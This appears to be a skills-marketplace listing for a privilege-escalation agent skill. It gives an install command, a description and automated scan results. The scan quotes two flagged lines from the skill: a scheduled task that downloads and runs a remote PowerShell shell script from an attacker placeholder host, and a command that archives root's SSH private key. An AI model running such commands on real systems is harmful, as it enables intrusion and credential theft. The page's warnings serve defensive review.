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Privilege Escalation Methods

Listed
zebbern·vlatest·security

This skill details various privilege escalation techniques, crucial for understanding and mitigating security vulnerabilities in systems.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

Installs under a different name. Its SKILL.md names it Privilege Escalation Methods, not the name it is listed under, so the command below uses that name.
  1. 1

    Run this in your project

    terminal
    $ npx skills add zebbern/secops-cli-guides --skill "Privilege Escalation Methods" -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

zebbern

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 2 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No obfuscated payloads: failed

    Contains 1 obfuscated or encoded payload pattern.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

    What it found

    • skills/privilege-escalation-methods/SKILL.md:210downloaded string passed to Invoke-Expression
      /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"

  • No credential access: failed

    Touches credential material in 1 place.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • skills/privilege-escalation-methods/SKILL.md:82SSH private keys or config
      /usr/bin/tar -cvf key.tar /root/.ssh/id_rsa

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No undeclared network calls: passed

    Makes no network calls.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

  • No pipe-to-shell installers: passed

    No pipe-to-shell or download-and-run installers.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

  • Pinned to a commit: passed

    Scanned zebbern/secops-cli-guides at f8a9ac70c9.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
f8a9ac70c9
Manifest
skills/privilege-escalation-methods/SKILL.md
Scanned
1 file, 293 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

This skill provides information and techniques related to privilege escalation, a critical concept in cybersecurity. It details methods attackers use to gain higher levels of access than initially intended, often exploiting vulnerabilities or misconfigurations within a system. The skill aims to educate users on these tactics for defensive purposes and understanding potential attack vectors.

When to use it

  • Security Audits: To understand common privilege escalation paths during penetration testing or vulnerability assessments.
  • Incident Response: To analyze how an attacker gained elevated privileges in a compromised system.
  • System Hardening: To identify and mitigate weaknesses that could be exploited for privilege escalation.
  • Red Teaming Exercises: To simulate real-world attack scenarios involving privilege escalation attempts.

Key capabilities

  • Provides descriptions of various privilege escalation techniques.
  • Offers insights into common vulnerabilities leading to privilege escalation.
  • Explains the underlying principles behind privilege escalation attacks.

Example prompts

  • "Describe a common privilege escalation technique on Linux systems."
  • "What are some ways an attacker could escalate privileges through misconfigured SUID bits?"
  • "Explain how kernel exploits can be used for privilege escalation."

Tips & gotchas

The skill assumes a basic understanding of operating system concepts and security principles. While it explains techniques, remember that attempting unauthorized privilege escalation is illegal and unethical.